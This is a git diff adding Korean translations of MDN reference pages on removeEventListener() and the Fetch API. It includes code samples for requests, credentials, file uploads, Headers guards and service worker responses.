Given an event listener previously added by calling {{domxref("EventTarget.addEventListener", "addEventListener()")}}, you may eventually come to a point at which you need to remove it. Obviously, you need to specify the same type and listener parameters to removeEventListener(), but what about the options or useCapture parameters?

+ +

While addEventListener() will let you add the same listener more than once for the same type if the options are different, the only option removeEventListener() checks is the capture/useCapture flag. Its value must match for removeEventListener() to match, but the other values don't.

+ +

For example, consider this call to addEventListener():

+ +
element.addEventListener("mousedown", handleMouseDown, true);
+ +

Now consider each of these two calls to removeEventListener():

+ +
element.removeEventListener("mousedown", handleMouseDown, false);     // Fails
+element.removeEventListener("mousedown", handleMouseDown, true);      // Succeeds
+
+ +

The first call fails because the value of useCapture doesn't match. The second succeeds, since useCapture matches up.

+ +

Now consider this:

+ +
element.addEventListener("mousedown", handleMouseDown, { passive: true });
+ +

Here, we specify an options object in which passive is set to true, while the other options are left to the default value of false.

+ +

Now look at each of these calls to removeEventListener() in turn. Any of them in which capture or useCapture is true fail; all others succeed. Only the capture setting matters to removeEventListener().

+ +
element.removeEventListener("mousedown", handleMouseDown, { passive: true });     // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, { capture: false });    // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, { capture: true });     // Fails
+element.removeEventListener("mousedown", handleMouseDown, { passive: false });    // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, false);                 // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, true);                  // Fails
+
+ +

It's worth noting that some browser releases have been inconsistent on this, and unless you have specific reasons otherwise, it's probably wise to use the same values used for the call to addEventListener() when calling removeEventListener().

+ +

Notes

+ +

If an {{domxref("EventListener")}} is removed from an {{domxref("EventTarget")}} while it is processing an event, it will not be triggered by the current actions. An {{domxref("EventListener")}} will not be invoked for the event it was registered for after being removed. However, it can be reattached.

+ +

Calling removeEventListener() with arguments that do not identify any currently registered {{domxref("EventListener")}} on the EventTarget has no effect.

+ +

Example

+ +

This example shows how to add a click-based event listener and remove a mouseover-based event listener.

+ +
var body = document.querySelector('body'),
+    clickTarget = document.getElementById('click-target'),
+    mouseOverTarget = document.getElementById('mouse-over-target'),
+    toggle = false;
+
+function makeBackgroundYellow() {
+    'use strict';
+
+    if (toggle) {
+        body.style.backgroundColor = 'white';
+    } else {
+        body.style.backgroundColor = 'yellow';
+    }
+
+    toggle = !toggle;
+}
+
+clickTarget.addEventListener('click',
+    makeBackgroundYellow,
+    false
+);
+
+mouseOverTarget.addEventListener('mouseover', function () {
+    'use strict';
+
+    clickTarget.removeEventListener('click',
+        makeBackgroundYellow,
+        false
+    );
+});
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}{{Spec2("DOM WHATWG")}} 
{{SpecName("DOM4", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}{{Spec2("DOM4")}} 
{{SpecName("DOM2 Events", "#Events-EventTarget-removeEventListener", "EventTarget.removeEventListener()")}}{{Spec2("DOM2 Events")}}Initial definition
+ +

Browser compatibility

+ +

 

+ + + +

{{Compat("api.EventTarget.removeEventListener", 3)}}

+ +

Polyfill to support older browsers

+ +

addEventListener() and removeEventListener() are not present in older browsers. You can work around this by inserting the following code at the beginning of your scripts, allowing the use of addEventListener() and removeEventListener() in implementations that do not natively support it. However, this method will not work on Internet Explorer 7 or earlier, since extending the Element.prototype was not supported until Internet Explorer 8.

+ +
if (!Element.prototype.addEventListener) {
+  var oListeners = {};
+  function runListeners(oEvent) {
+    if (!oEvent) { oEvent = window.event; }
+    for (var iLstId = 0, iElId = 0, oEvtListeners = oListeners[oEvent.type]; iElId < oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) {
+        for (iLstId; iLstId < oEvtListeners.aEvts[iElId].length; iLstId++) { oEvtListeners.aEvts[iElId][iLstId].call(this, oEvent); }
+        break;
+      }
+    }
+  }
+  Element.prototype.addEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (oListeners.hasOwnProperty(sEventType)) {
+      var oEvtListeners = oListeners[sEventType];
+      for (var nElIdx = -1, iElId = 0; iElId < oEvtListeners.aEls.length; iElId++) {
+        if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+      }
+      if (nElIdx === -1) {
+        oEvtListeners.aEls.push(this);
+        oEvtListeners.aEvts.push([fListener]);
+        this["on" + sEventType] = runListeners;
+      } else {
+        var aElListeners = oEvtListeners.aEvts[nElIdx];
+        if (this["on" + sEventType] !== runListeners) {
+          aElListeners.splice(0);
+          this["on" + sEventType] = runListeners;
+        }
+        for (var iLstId = 0; iLstId < aElListeners.length; iLstId++) {
+          if (aElListeners[iLstId] === fListener) { return; }
+        }
+        aElListeners.push(fListener);
+      }
+    } else {
+      oListeners[sEventType] = { aEls: [this], aEvts: [ [fListener] ] };
+      this["on" + sEventType] = runListeners;
+    }
+  };
+  Element.prototype.removeEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (!oListeners.hasOwnProperty(sEventType)) { return; }
+    var oEvtListeners = oListeners[sEventType];
+    for (var nElIdx = -1, iElId = 0; iElId < oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+    }
+    if (nElIdx === -1) { return; }
+    for (var iLstId = 0, aElListeners = oEvtListeners.aEvts[nElIdx]; iLstId < aElListeners.length; iLstId++) {
+      if (aElListeners[iLstId] === fListener) { aElListeners.splice(iLstId, 1); }
+    }
+  };
+}
+
+ +

See also

+ + diff --git a/files/ko/web/api/fetch_api/basic_concepts/index.html b/files/ko/web/api/fetch_api/basic_concepts/index.html new file mode 100644 index 0000000000..45e59484de --- /dev/null +++ b/files/ko/web/api/fetch_api/basic_concepts/index.html @@ -0,0 +1,66 @@ +--- +title: Fetch basic concepts +slug: Web/API/Fetch_API/Basic_concepts +translation_of: Web/API/Fetch_API/Basic_concepts +--- +

{{DefaultAPISidebar("Fetch API")}}{{draft}}

+ +
+

Fetch 는 네트워크 통신을 포함한 리소스를 가지고 오기 위한 인터페이스를 제공해주는 보다 새로운 API입니다. XMLHttpRequest 와 기능은 같지만 확장 가능하며 효과적으로 구성되어 있습니다. 이 문서에서는 Fetch API의 기본 컨셉들중 일부를 소개합니다.

+
+ +
+

이 문서는 수시로 갱신됩니다 。보다 나은 설명이 필요한 Fetch 컨셉트를 발견한 경우에는、MDN 디스커션 포럼이나 Mozilla IRC(#mdn room)에 연락주시기 바랍니다.

+
+ +

개념

+ +

Fetch의 핵심은 인터페이스의 추상화입니다. HTTP {{domxref("Request")}}, {{domxref("Response")}}, {{domxref("Headers")}}, {{domxref("Body")}}의 Payload, 그리고 비동기 리소스 Request의 초기화를 위한{{domxref("GlobalFetch.fetch","global fetch")}}메서드가 이 대상입니다. HTTP의 주요 컴포넌트가 자바스크립트 오브젝트로써 추상화되어있기 때문에 다른 API에서 이러한 기능들을 사용하기 쉽게 해줍니다.

+ +

Service Worker는 Fetch를 사용하는 API의 일례입니다.

+ +

Fetch는 이러한 Request의 비동기적인 성질을 한걸음 진화시킨 {{jsxref("Promise")}} 베이스의 API입니다.

+ +

가드

+ +

가드는 {{domxref("Headers")}} 객체의 기능으로, 헤더가 사용하고 있는 장소에 알맞게 immutablerequestrequest-no-corsresponsenone값을 얻습니다.

+ +

{{domxref("Headers.Headers","Headers()")}}의 {{glossary("constructor")}}를 사용하고 있는 새로운  {{domxref("Headers")}}객체가 생성될 때, 가드는 기본 설정일때 none에 위치됩니다. {{domxref("Request")}}객체나 {{domxref("Response")}}객체가 생성되었을 때, 관계지어진 {{domxref("Headers")}}객체의 가드는 아래의 명세와 같이 설정되어 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
새로운 객체형생성자관계한{{domxref("Headers")}} 객체 가드의 설정
{{domxref("Request")}}{{domxref("Request.Request","Request()")}}request
no-cors의 {{domxref("Request.mode","mode")}}를 설정한 {{domxref("Request.Request","Request()")}}request-no-cors
{{domxref("Response")}}{{domxref("Response.Response","Response()")}}response
{{domxref("Response.error","error()")}}메서드나 {{domxref("Response.redirect","redirect()")}} 메서드immutable
+ +

헤더 가드는 헤더의 콘텐츠를 변경하는 {{domxref("Headers.set","set()")}}{{domxref("Headers.delete","delete()")}},{{domxref("Headers.append","append()")}}메서드에 영향을 끼칩니다.가드는 immutable의 {{domxref("Headers")}}를 수정하려고 한 경우, TypeError를 반환합니다. 예외의 경우도 있는데 다음과 같은 상황에서는 동작합니다.

+ + diff --git "a/files/ko/web/api/fetch_api/fetch\354\235\230_\354\202\254\354\232\251\353\262\225/index.html" "b/files/ko/web/api/fetch_api/fetch\354\235\230_\354\202\254\354\232\251\353\262\225/index.html" new file mode 100644 index 0000000000..403c340413 --- /dev/null +++ "b/files/ko/web/api/fetch_api/fetch\354\235\230_\354\202\254\354\232\251\353\262\225/index.html" @@ -0,0 +1,419 @@ +--- +title: Using Fetch +slug: Web/API/Fetch_API/Fetch의_사용법 +translation_of: Web/API/Fetch_API/Using_Fetch +--- +

Fetch API를 이용하면 Request나 Response와 같은 HTTP의 파이프라인을 구성하는 요소를 조작하는것이 가능합니다. 또한 {{domxref("GlobalFetch.fetch","fetch()")}} 메서드를 이용하는 것으로 비동기 네트워크 통신을 알기쉽게 기술할 수 있습니다.

+ +

이전에 이러한 기능을  {{domxref("XMLHttpRequest")}}에서 제공하고 있었습니다. Fetch는 이러한 API의 대체제로 {{domxref("ServiceWorker_API", "Service Workers")}}같은 기술로 간단히 이용하는것이 가능합니다. 또한 CORS나 HTTP확장같은  HTTP에 관련한 개념을 모아 정의하고 있습니다.

+ +

Fetch의 기본 스펙은jQuery.ajax()와 기본적으로 두가지가 다르다는 사실에 유념해야합니다.

+ + + +

기본적인 fetch는 누구라도 알기쉽고 간단하게 작성할 수 있습니다. 아래의 코드를 봐주시기 바랍니다.

+ +
fetch('http://example.com/movies.json')
+  .then(function(response) {
+    return response.json();
+  })
+  .then(function(myJson) {
+    console.log(JSON.stringify(myJson));
+  });
+ +

네트워크에서 JSON 파일을 가져 와서 콘솔에 인쇄합니다. 간단한 fetch() 사용 흐름은 인수 한개(가져올 자원의 경로)를 가져오고 응답을 포함하는 약속 ({{domxref ( "Response")}} 개체)을 반환하는 것입니다.

+ +

이것은 단순한 HTTP Response이며, 실제 JSON이 아닙니다. response 객체로부터 사진을 가져오기 위해서는 {{domxref("Body.json","json()")}} 메서드를 사용할 필요가 있습니다. ({{domxref("Body")}}의 믹스인 (역주:php의 트레이드와 같은것입니다. )으로 정의되어, 이것은 {{domxref("Request")}} 객체와 {{domxref("Response")}} 객체의 쌍방에 구현되어 있습니다.

+ +
+

노트: http Request와 http Response의 Body mixin은 Body 컨텐츠를 다른 mine 타입으로 사용하는 비슷한 메서드를 제공하고 있습니다.  상세한 내용은 {{anch("Body")}} 섹션을 참고해 주시기 바랍니다.

+
+ +

Fetch Reqeust는 검색된 리소스로부터의 지시가 아닌 CSPconnect-src의 디렉티브(directive)에 의해 제어됩니다.

+ +

리퀘스트의 옵션 적용

+ +

fetch() 메서드에 두번째 파라미터를 적용하는것도 가능합니다. init 오브젝트는 다른 여러 세팅을 컨트롤 할 수 있게 해줍니다.

+ +

모든 설정 가능한 옵션의 상세 설명은 {{domxref("GlobalFetch.fetch","fetch()")}}를 참고해주시기 바랍니다.

+ +
// Example POST method implementation:
+
+postData('http://example.com/answer', {answer: 42})
+  .then(data => console.log(JSON.stringify(data))) // JSON-string from `response.json()` call
+  .catch(error => console.error(error));
+
+function postData(url = '', data = {}) {
+  // Default options are marked with *
+    return fetch(url, {
+        method: 'POST', // *GET, POST, PUT, DELETE, etc.
+        mode: 'cors', // no-cors, cors, *same-origin
+        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
+        credentials: 'same-origin', // include, *same-origin, omit
+        headers: {
+            'Content-Type': 'application/json',
+            // 'Content-Type': 'application/x-www-form-urlencoded',
+        },
+        redirect: 'follow', // manual, *follow, error
+        referrer: 'no-referrer', // no-referrer, *client
+        body: JSON.stringify(data), // body data type must match "Content-Type" header
+    })
+    .then(response => response.json()); // parses JSON response into native JavaScript objects
+}
+
+ +

자격 증명(credentials)이 포함된 Request 요청

+ +

자격 증명이 포함된 인증서를 보내도록 하려면 fetch() 메서드에 credentials: 'include'를 추가하도록 합니다. 이것은 cross-origin 요청에서도 사용됩니다.

+ +
fetch('https://example.com', {
+  credentials: 'include'
+})
+ +

요청하려는 URL이 호출 스크립트와 동일한 origin을 가지고 있을때만 자격증명을 전송하려면 credentials: 'same-origin'를 추가해 주시기 바랍니다.

+ +
// The calling script is on the origin 'https://example.com'
+
+fetch('https://example.com', {
+  credentials: 'same-origin'
+})
+ +

브라우저의 보안을 유지하는것 대신 자격증명을 포함하지 않는것을 원한다면 credentials: 'omit'를 작성해 주시기 바랍니다.

+ +
fetch('https://example.com', {
+  credentials: 'omit'
+})
+
+ +

Uploading JSON data

+ +

POST프로토콜로 JSON인코딩된 데이터를 보내기 위해 {{domxref("GlobalFetch.fetch","fetch()")}}를 사용합니다.

+ +
var url = 'https://example.com/profile';
+var data = {username: 'example'};
+
+fetch(url, {
+  method: 'POST', // or 'PUT'
+  body: JSON.stringify(data), // data can be `string` or {object}!
+  headers:{
+    'Content-Type': 'application/json'
+  }
+}).then(res => res.json())
+.then(response => console.log('Success:', JSON.stringify(response)))
+.catch(error => console.error('Error:', error));
+ +

Uploading a file

+ +

<input type="file" /> input엘리먼트, {{domxref("FormData.FormData","FormData()")}}, {{domxref("WindowOrWorkerGlobalScope/fetch","fetch()")}}를 사용하여 파일을 업로드 할 수 있습니다.

+ +
var formData = new FormData();
+var fileField = document.querySelector('input[type="file"]');
+
+formData.append('username', 'abc123');
+formData.append('avatar', fileField.files[0]);
+
+fetch('https://example.com/profile/avatar', {
+  method: 'PUT',
+  body: formData
+})
+.then(response => response.json())
+.catch(error => console.error('Error:', error))
+.then(response => console.log('Success:', JSON.stringify(response)));
+ +

Uploading multiple files

+ +

<input type="file" multiple /> input엘리먼트와{{domxref("FormData.FormData","FormData()")}}, {{domxref("GlobalFetch.fetch","fetch()")}}를 사용하여 파일 다중업로드를 할 수 있습니다.

+ +
var formData = new FormData();
+var photos = document.querySelector('input[type="file"][multiple]');
+
+formData.append('title', 'My Vegas Vacation');
+for (var i = 0; i < photos.files.length; i++) {
+  formData.append('photos', photos.files[i]);
+}
+
+fetch('https://example.com/posts', {
+  method: 'POST',
+  body: formData
+})
+.then(response => response.json())
+.then(response => console.log('Success:', JSON.stringify(response)))
+.catch(error => console.error('Error:', error));
+ +

문서 파일을 열단위로 처리하기

+ +

응답하는 곳에서 읽는 덩어리들은 줄 단위로 깔끔하게 떨어지지 않으며 문자열이 아니라 Uint8Arrys(8비트 부호 없는 정수)입니다. 만약 텍스트 파일은 fetch하고 이것을 줄 단위로 처리하고자 한다면, 이런 복잡함을 다루는 것은 사용자에게 달려있습니다. 아래의 예시는 line iterator를 생성하여 처리하는 한가지 방법을 보여주고 있습니다. (간단하게 하기위해, 텍스트는 UTF-8이라고 가정하며,  fetch errors를 다루지 않는다고 합시다).

+ +
async function* makeTextFileLineIterator(fileURL) {
+  const utf8Decoder = new TextDecoder("utf-8");
+  let response = await fetch(fileURL);
+  let reader = response.body.getReader();
+  let {value: chunk, done: readerDone} = await reader.read();
+  chunk = chunk ? utf8Decoder.decode(chunk) : "";
+
+  let re = /\n|\r|\r\n/gm;
+  let startIndex = 0;
+  let result;
+
+  for (;;) {
+    let result = re.exec(chunk);
+    if (!result) {
+      if (readerDone) {
+        break;
+      }
+      let remainder = chunk.substr(startIndex);
+      ({value: chunk, done: readerDone} = await reader.read());
+      chunk = remainder + (chunk ? utf8Decoder.decode(chunk) : "");
+      startIndex = re.lastIndex = 0;
+      continue;
+    }
+    yield chunk.substring(startIndex, result.index);
+    startIndex = re.lastIndex;
+  }
+  if (startIndex < chunk.length) {
+    // last line didn't end in a newline char
+    yield chunk.substr(startIndex);
+  }
+}
+
+for await (let line of makeTextFileLineIterator(urlOfFile)) {
+  processLine(line);
+}
+ +

fetch의 성공 여부를 체크

+ +

한가지 예를 들자면, 네트워크 error가 발생했을때 또는 CORS 가 서버단에서 잘못 설정되어있다면 {{domxref("GlobalFetch.fetch","fetch()")}} promise 객체는 {{jsxref("TypeError")}} 메시지와 함께 반려 할것입니다. 비록 이 현상은 보통 허가 이슈나 그와 비슷한 것을 의미할지라도, 404 는 네트워크 error를 구성하지는 않습니다.  성공적인 fetch() 를 체크하는 정확한 방법은 promise 객체가 해결되었는지를 체크하는 것을 포함합니다. 그리고 {{domxref("Response.ok")}} property 가 "true"의 값을 가지고 있는지 확인하는 것입니다. 코드는 아래와 같이 구현될겁니다:

+ +
fetch('flowers.jpg').then(function(response) {
+  if(response.ok) {
+    return response.blob();
+  }
+  throw new Error('Network response was not ok.');
+}).then(function(myBlob) {
+  var objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+}).catch(function(error) {
+  console.log('There has been a problem with your fetch operation: ', error.message);
+});
+ +

request 객체를 fetch로 전달

+ +

fetch()를 사용해 요청한 리소스의 경로를 전달하는것 대신{{domxref("Request.Request","Request()")}} 생성자를 사용해 Request 객체를 작성하여 fetch() 메서드를 인수로 전달하는것도 가능합니다.

+ +
var myHeaders = new Headers();
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg', myInit);
+
+fetch(myRequest).then(function(response) {
+  return response.blob();
+}).then(function(myBlob) {
+  var objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+});
+ +

fetch()메서드의 인수와 똑같은 인수를 Request()객체에 전달하여 적용하는것이 가능합니다. 또한 Request 객체의 클론을 생성하기 위해 이미 존재하는 Request 객체를 전달하는것도 가능합니다.

+ +
var anotherRequest = new Request(myRequest,myInit);
+ +

이것은 Request와 Resposne의 Body를 하나만 사용하고 있으므로 사용성이 높습니다.필요하면 init 객체를 변화시켜 Response나 Request를 재사용할 수 있도록 복사합니다. The copy must be made before the body is read, and reading the body in the copy will also mark it as read in the original request.

+ +
+

노트: {{domxref("Request.clone","clone()")}} 메서드를 사용해 Request 객체의 클론을 생성할 수 있습니다. 다른 카피 메서드와 약간 다른 의미가 있습니다. 이전 요청의 body가 이미 읽어들여진 경우 전자는  실패하지만 clone()메서드는 실패하지 않습니다. 이 기능은 Response와 동일합니다.

+
+ +

Headers

+ +

{{domxref("Headers")}} 인터페이스에서  {{domxref("Headers.Headers","Headers()")}} 생성자를 사용해 헤더 객체를 생성할 수 있습니다. 헤더 객체는 Key와 Value로 이루어진 간단한 multi-map입니다.

+ +
var content = "Hello World";
+var myHeaders = new Headers();
+myHeaders.append("Content-Type", "text/plain");
+myHeaders.append("Content-Length", content.length.toString());
+myHeaders.append("X-Custom-Header", "ProcessThisImmediately");
+ +

똑같이 배열을 전달하거나 객체 리터럴을 생성자에 전달하는것으로 생성할 수 있습니다.

+ +
myHeaders = new Headers({
+  "Content-Type": "text/plain",
+  "Content-Length": content.length.toString(),
+  "X-Custom-Header": "ProcessThisImmediately",
+});
+ +

다음과 같은 코드로 헤더의 내용을 들여다 볼 수 있습니다.

+ +
console.log(myHeaders.has("Content-Type")); // true
+console.log(myHeaders.has("Set-Cookie")); // false
+myHeaders.set("Content-Type", "text/html");
+myHeaders.append("X-Custom-Header", "AnotherValue");
+
+console.log(myHeaders.get("Content-Length")); // 11
+console.log(myHeaders.getAll("X-Custom-Header")); // ["ProcessThisImmediately", "AnotherValue"]
+
+myHeaders.delete("X-Custom-Header");
+console.log(myHeaders.getAll("X-Custom-Header")); // [ ]
+ +

이러한 몇몇개의 조작법은 {{domxref("ServiceWorker_API","ServiceWorkers")}}에서밖에 도움되지 않지만 헤더를 조작하기 위해서 보다 나은 API를 제공하고 있습니다.

+ +

모든 Header 메서드는 유효한 HTTP 헤더가 전달되지 않았을 경우 TypeError을 반환합니다. immutable Guard(다음 섹션 참고)가 설정되어 있는 경우에도 TypeError를 반환합니다. TypeError를 반환하지 않고 실패하는 경우도 있습니다. 다음 예를 참고해주시기 바랍니다.

+ +
var myResponse = Response.error();
+try {
+  myResponse.headers.set("Origin", "http://mybank.com");
+} catch(e) {
+  console.log("은행이 아니잖아요!!");
+}
+ +

헤더의 좋은 사용법으로 처리하기 전에 컨텐츠 타입으로 올바른가의 여부를 판별하는 방법이 있습니다. 예를 들어,

+ +
fetch(myRequest).then(function(response) {
+    var contentType = response.headers.get('content-type');
+    if(contentType && contentType.includes('application/json')) {
+      return response.json();
+    }
+    throw new TypeError("Oops, we haven't got JSON!");
+  })
+  .then(function(json) { /* process your JSON further */ })
+  .catch(function(error) { console.log(error); });
+ +

가드

+ +

헤더는 리퀘스트를 송신할 수 있으며 리스폰스를 수신할 수 있습니다. 어떤 정보를 수정할 수 있게 하기 위해, 혹은 수정하기 위해 여러 종류의 제어가 가능합니다. 헤더는 guard 프로퍼티는 이것을 가능하게 합니다. 가드는 Request나 Response에 포함되지 않지만  헤더 객체에서 조작 가능한 여러 메서드들의 사용 가능 여부에 영향을 미칩니다.

+ +

가드의 설정값은 다음과 같습니다.

+ + + +
+

메모: request에서 가드된 헤더의Content-Length 헤더는 추가나 변경할 수 없는 가능성이 있습니다.  마찬가지로 리스폰스 헤더에 Set-Cookie를 삽입하는것은 불가능합니다.ServiceWorker는 동기 Reponse를 추출하여 쿠키를 설정합니다.

+
+ +

Response 객체

+ +

위에서 본 바와 같이 {{domxref("Response")}} 인스턴스들은 fetch() promise가 resolve됬을때 반환됩니다.

+ +

아래는 어떤 리스폰스 객체라도 공통으로 사용되는 리스폰스 프로퍼티입니다.

+ + + +

Response 객체는 개발자의 손에 의해 동적으로 만드는것이 가능합니다. 이 방법은 {{domxref("ServiceWorker_API", "ServiceWorkers")}}내에서 활약할 때가 많습니다. 예를들어 Request를 획득했을 때  {{domxref("FetchEvent.respondWith","respondWith()")}}메서드에 의해 커스텀된 리스폰스를 반환하는 경우가 있습니다.

+ +
var myBody = new Blob();
+
+addEventListener('fetch', function(event) {
+  event.respondWith(
+    new Response(myBody, {
+      headers: { "Content-Type" : "text/plain" }
+    })
+  );
+});
+ +

{{domxref("Response.Response","Response()")}} 생성자는 파라미터로써 두개의 객체를 전달하는것이 가능합니다.첫번째는 Response Body, 두번째는 초기화 객체({{domxref("Request.Request","Request()")}}의 클론을 생성하는 방법과 비슷합니다.) 입니다.

+ + + +
+

付記: 정적 메서드 {{domxref("Response.error","error()")}}는 단순한 에러 Response를 반환합니다. {{domxref("Response.redirect","redirect()")}} 메서드 또한 지정한 URL에 리다이렉트할 Response를 반환합니다. 이것들은 Service Workers에서만 사용되고 있습니다.

+
+ +

Body

+ +

Request, Response 둘다 Body를 가지고 있습니다. body는 아래에서 기술한 타입들 중 하나의 인스턴스입니다.

+ + + +

{{domxref("Body")}} 믹스인은 {{domxref("Request")}}나{{domxref("Response")}}에 구현되어, 콘텐츠를 추출하기 위해 아래의 메서드가 정의되어 있습니다. 이러한 메서드들은 전부 최종적으로 요청으로 반환된 값을 내장하고 있는 promise를 반환합니다.

+ + + +

이것들은 비 텍스트 데이터를 XHR보다 훨씬 간단하게 사용하는것을 도와줍니다.

+ +

Request 바디는 body 파라미터를 전달하는 것으로 설정할 수 있습니다.

+ +
var form = new FormData(document.getElementById('login-form'));
+fetch("/login", {
+  method: "POST",
+  body: form
+})
+ +

Both request and response (and by extension the fetch() function), will try to intelligently determine the content type. A request will also automatically set a Content-Type header if none is set in the dictionary.

+ +

Feature detection(특징 추출)

+ +

Fetch API support는{{domxref("Headers")}}, {{domxref("Request")}}, {{domxref("Response")}} or {{domxref("GlobalFetch.fetch","fetch()")}} on the {{domxref("Window")}} or {{domxref("Worker")}}로 존재여부를 확인함으로써 추출할 수 있습니다. 예를 들어:

+ +
if (window.fetch) {
+    // run my fetch request here
+} else {
+    // do something with XMLHttpRequest?
+ +

Polyfill

+ +

Fetch를 지원하지 않는 브라우저를 위해 미지원 브라우저를 위한 Fetch Polyfill이 지원되고 있습니다.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch')}}{{Spec2('Fetch')}}Initial definition
+ +

Browser compatibility

+ +

{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}

+ +

관련항목

+ +
+ + + +

{{DefaultAPISidebar("Fetch API")}} 

diff --git a/files/ko/web/api/fetch_api/index.html b/files/ko/web/api/fetch_api/index.html new file mode 100644 index 0000000000..d3b3d7b672 --- /dev/null +++ b/files/ko/web/api/fetch_api/index.html @@ -0,0 +1,88 @@ +--- +title: Fetch API +slug: Web/API/Fetch_API +tags: + - API + - Experimental + - Fetch + - Landing + - Reference +translation_of: Web/API/Fetch_API +--- +
{{DefaultAPISidebar("Fetch API")}}
+ +

Fetch API는 네트워크 통신을 포함한 리소스 취득을 위한 인터페이스가 정의되어 있습니다.  {{domxref("XMLHttpRequest")}}와 같은 비슷한 API가 존재합니다만, 새로운 Fetch API는 좀더 강력하고 유연한 조작이 가능합니다.

+ +

기본 개념과 사용 방법

+ +

Fetch에는 일반적인 오브젝트로로 {{domxref("Request")}} 와 {{domxref("Response")}}가 포함되어 있습니다.  이것들은 service worker이나 Cache API같이 Response와 Request객체를 다루는 API나 독자적으로 리스폰스를 발생시키는 경우에도 사용 가능합니다.

+ +

또한 CORS나 HTTP 오리진 헤더의 행동에 관련한 개념에 대해서도 정의되어 있습니다. 이 정의는 여러곳에 분산되어있는 갖가지 행동에대한 정의들을 한곳에 고쳐 쓴 것입니다.

+ +

Fetch API로 리소스를 취득하기 위해서 {{domxref("GlobalFetch.fetch")}} 메소드를 불러들여야 합니다. 이 메소드는  {{domxref("Window")}}나 {{domxref("WorkerGlobalScope")}}와 같은 인터페이스로부터 구현되었습니다. 

+ +

fetch()를 불러들이는 경우, 취득할 리소스를 반드시 인수로 지정하지 않으면 안됩니다. 읽어들인 뒤,  fetch()는 Promise객체를 반환합니다. 리퀘스트가 성공하든 실패하든 해당 리퀘스트 통신에 대한 {{domxref("Response")}}객체가 취득됩니다. fetch()의 두번째 인수는 초기화에 사용되는 객체를 정의하고 있습니다. 이 인수는 기입하지 않아도 함수의 동작에 문제가 없습니다. 이 인수에 대한 상세한 정보는 {{domxref("Request")}})를 참고해주시기 바랍니다.

+ +

{{domxref("Response")}}를 가져온 후에, 콜백함수의 매개변수로 담긴 response 객체에는 리스폰스에 포함되어있는 컨텐츠와 그에대한 처리방법이 담긴 메소드들이 담겨있습니다. 자세한 사항은 {{domxref("Body")}}를 참고해주시기 바랍니다.

+ +

{{domxref("Request.Request","Request()")}}와 {{domxref("Response.Response","Response()")}}를 사용하는 것으로, Request와 Response를 직접 작성할 수 있습니다. 하지만 이러한 추가 옵션들은   {{domxref("FetchEvent.respondWith")}}와 같은 또다른 API를 불러 들이는 작업이 수행되어야 하므로 필요하지 않다면 굳이 작성하지 않는 편이 좋습니다.

+ +
+

참고: Fetch API에 대한 자세한 이용방법은 Using Fetch를 참고해주시기 바랍니다. 또한  Fetch basic concepts에서는 Fetch API의 기본개념 또한 설명되어 있습니다.

+
+ +

Aborting a fetch

+ +

몇몇 브라우저들은 {{domxref("AbortController")}}와 {{domxref("AbortSignal")}} 인터페이스에 대한 실험적인 기능을 추가로 지원하였습니다. 만약 Fetch API와 XHR API 호출이 완료되지 않았다면, 중단 될 수 있도록 하는 기능입니다. 자세한 사항은 인터페이스 문서를 참고해주시기 바랍니다.

+ +

Fetch 인터페이스

+ +
+
{{domxref("GlobalFetch")}}
+
리소스를 취득하기 위해 사용되는  fetch() 메서드가 정의되어 있습니다.
+
{{domxref("Headers")}}
+
리퀘스트와 리스폰스 객체에 대한 헤더입니다. 헤더정보에 보내는 쿼리나 통신 결과의 행동에 대한 선택이 가능합니다.
+
{{domxref("Request")}}
+
리소스에 대한 리퀘스트의 객체입니다.
+
{{domxref("Response")}}
+
리퀘스트에 대한 리스폰스 객체입니다.
+
+ +

Fetch 믹스인

+ +
+
{{domxref("Body")}}
+
Response와 Request 본체에 관련한 메소드들이 정의되어 있습니다. 이것들을 이용함으로써 response 결과물을 html, json과 같이 컨텐츠 타입별로 처리하는것이 가능합니다. 
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch')}}{{Spec2('Fetch')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}

+ +

관련정보

+ + diff --git a/files/ko/web/api/fetchevent/index.html b/files/ko/web/api/fetchevent/index.html new file mode 100644 index 0000000000..9b0e1cce34 --- /dev/null +++ b/files/ko/web/api/fetchevent/index.html @@ -0,0 +1,110 @@ +--- +title: FetchEvent +slug: Web/API/FetchEvent +tags: + - API + - FetchEvent + - Interface + - NeedsTranslation + - Offline + - Reference + - Service Workers + - TopicStub + - Workers +translation_of: Web/API/FetchEvent +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

This is the event type for fetch events dispatched on the {{domxref("ServiceWorkerGlobalScope", "service worker global scope", "", 1)}}. It contains information about the fetch, including the request and how the receiver will treat the response. It provides the {{domxref("FetchEvent.respondWith", "event.respondWith()")}} method, which allows us to provide a response to this fetch.

+ +

Constructor

+ +
+
{{domxref("FetchEvent.FetchEvent()", "FetchEvent()")}}
+
Creates a new FetchEvent object. This constructor is not typically used. The browser creates these objects itself and provides them to fetch event callbacks.
+
+ +

Properties

+ +

Inherits properties from its ancestor, {{domxref("Event")}}.

+ +
+
{{domxref("fetchEvent.clientId")}} {{readonlyInline}}
+
